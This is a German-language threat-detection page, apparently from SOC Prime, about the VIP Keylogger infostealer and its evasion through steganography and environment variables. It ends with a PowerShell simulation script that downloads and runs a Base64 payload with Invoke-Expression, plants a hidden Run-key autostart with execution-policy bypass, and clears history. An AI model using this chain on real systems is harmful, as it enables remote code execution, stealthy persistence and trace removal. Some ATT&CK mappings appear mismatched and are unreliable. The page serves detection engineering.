SOC Prime Bias: Mittel

18 May 2026 19:04 UTC

VIP-Keylogger und seine mehrschichtigen Ausweichtaktiken

Author Photo
SOC Prime Team linkedin icon Folgen
VIP-Keylogger und seine mehrschichtigen Ausweichtaktiken
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

VIP Keylogger ist eine modulare Bedrohung für Informationsdiebstahl, die über Phishing-Köder wie gefälschte Bankzahlungsbenachrichtigungen verteilt wird. Seine Infektionskette basiert auf bösartigen VBS-, JavaScript- oder Batch-basierten Ladern, die starke Verschleierung, Steganografie in PNG-Bildern und Missbrauch von Umgebungsvariablen verwenden, um PowerShell-Stufen zu verbergen, bevor der endgültige Keylogger gestartet wird. Sobald aktiv, erfasst die Malware Anmeldedaten, Screenshots, Zwischenablageinhalte und WLAN-Passwörter und exfiltriert dann die Daten über mehrere Command-and-Control-Kanäle. Erkennungsbemühungen sollten sich auf verdächtige Registrierungsänderungen, ungewöhnliche Werte von Umgebungsvariablen und abnormale Übergänge von Skriptausführungen zu Binär-Payloads konzentrieren.

Untersuchung

Das Splunk Threat Research Team überprüfte mehr als 200 Laderproben, die im März und April 2026 gesammelt wurden, und dokumentierte deren Namensmuster, Lader-Varianten und den steganografischen Einsatz von PNG-Dateien zur Payload-Zustellung. Forscher rekonstruierten den Deobfuskationsprozess, erkannten den Missbrauch der INTERNAL_DB_CACHE Umgebungsvariable und verfolgten die Persistenz bis zum UserInitMprLogonScript Registrierungsschlüssel. Der Bericht ordnete auch jedes beobachtete Verhalten relevanten MITRE ATT&CK-Techniken zu, um die Detektionsentwicklung zu unterstützen.

Minderung

Organisationen sollten die initialen Phishing-Versuche durch stärkere E-Mail-Sicherheitskontrollen und URL-Filterung stoppen. Verteidiger sollten die Erstellung und Änderung von HKCUEnvironment Werten überwachen, insbesondere übergroße Einträge oder die Verwendung der INTERNAL_DB_CACHE Variable. Die Ausführung skriptbasierter Lader aus benutzerbeschreibbaren Verzeichnissen sollte eingeschränkt werden, und PowerShells eingeschränkter Sprachmodus sollte, wo möglich, durchgesetzt werden. Endpunktsicherheitswerkzeuge sollten auch das Einfügen von Prozessen in aspnet_compiler.exe und verdächtige netsh Aktivitäten erkennen.

Antwort

Wird ein VIP-Keylogger-Indikator entdeckt, sollte der betroffene Host isoliert, flüchtiger Speicher und kürzlich ausgeführte Prozesslogs gesammelt sowie nach bekannten Registrierungsartefakten, PNG-basierten Command-and-Control-URLs und abgelegten Dateien gesucht werden. Die bösartigen Skripte sollten entfernt, aufgedeckte Anmeldedaten zurückgesetzt und eine umfassendere Untersuchung der Umgebung auf verwandte Lader-Artefakte und Persistenzmechanismen durchgeführt werden.

Angriffsablauf

Simulationsausführung

Voraussetzung: Der Telemetrie- & Baseline-Vorabflug-Check muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechnik (TTP), die entworfen wurde, um die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die die Erkennungslogik erwartet. Abstrakte oder unzusammenhängende Beispiele führen zu Fehldiagnosen.

  • Angriffs-Narrativ & Befehle:

    1. Erstes Erkennen – der Angreifer führt Get-ADDomain (T1016.002) aus, um Vertrauensbeziehungen in der Domäne zu entdecken.
    2. Payload-Erwerb – mittels Invoke-WebRequest (T1071.001) lädt der Angreifer eine Base64-codierte DLL herunter, die den Keylogger implementiert (T1056.001).
    3. Staging über Umgebungsvariable – die heruntergeladene Zeichenkette wird durch [Environment]::SetEnvironmentVariablein einer benutzerdefinierten Umgebungsvariable gespeichert. Dieser Schritt erfüllt den Fokus der Erkennungsregel auf Manipulation von Umgebungsvariablen.
    4. Dynamische Ausführung – der Angreifer führt die Payload sofort mit Invoke-Expression $env:VIPPayload (T1059.001) aus. Der Keylogger beginnt Keystrokes, Screenshots (T1113) und Zwischenablagendaten (T1115) zu erfassen.
    5. Bereinigung – nach der Etablierung der Persistenz (z. B. Erstellung eines Run-Schlüssels, T1037.001) löscht der Angreifer die temporäre DLL von der Festplatte (T1070.004) und entfernt die Umgebungsvariable, um den forensischen Fußabdruck zu reduzieren.
  • Regressionstest-Skript: Das unten stehende Skript reproduziert die genauen Schritte und erzeugt die Telemetrie, die die Sigma-Regel erwartet.

    # VIP Keylogger Simulation – PowerShell
    # -------------------------------------------------
    # 1. Laden Sie ein Dummy-Payload (Base64-codierter String) herunter
    $payloadUrl = "https://raw.githubusercontent.com/example/dummy-keylogger/main/payload.b64"
    $b64Payload = (Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing).Content.Trim()
    
    # 2. Speichern Sie das Payload in einer benutzerdefinierten Umgebungsvariablen
    $envVarName = "VIPPayload"
    [Environment]::SetEnvironmentVariable($envVarName, $b64Payload, "User")
    
    # 3. Dekodieren und führen Sie das Payload über Invoke-Expression aus
    $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64Payload))
    Invoke-Expression $decoded
    
    # 4. (Optional) Persistenz über Run-Schlüssel – demonstriert T1037.001
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Set-ItemProperty -Path $runKey -Name "VIPKeylogger" -Value "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"Invoke-Expression $env:$envVarName`""
    
    # 5. Bereinigung – entfernen Sie die Umgebungsvariable und den Run-Schlüssel-Eintrag
    Start-Sleep -Seconds 30   # zulassen, dass einige Aktivitäten protokolliert werden
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    [Environment]::SetEnvironmentVariable($envVarName, $null, "User")
  • Bereinigungsbefehle: Führen Sie diese Befehle aus, um das System nach dem Test in einen einwandfreien Zustand zurückzuversetzen.

    # Entfernen Sie die für den Test erstellte Umgebungsvariable
    [Environment]::SetEnvironmentVariable("VIPPayload", $null, "User")
    
    # Löschen Sie den Persistenz-Run-Schlüssel-Eintrag, falls vorhanden
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    
    # Löschen Sie alle verbleibenden PowerShell-Verlaufsdatensätze (optional)
    Clear-History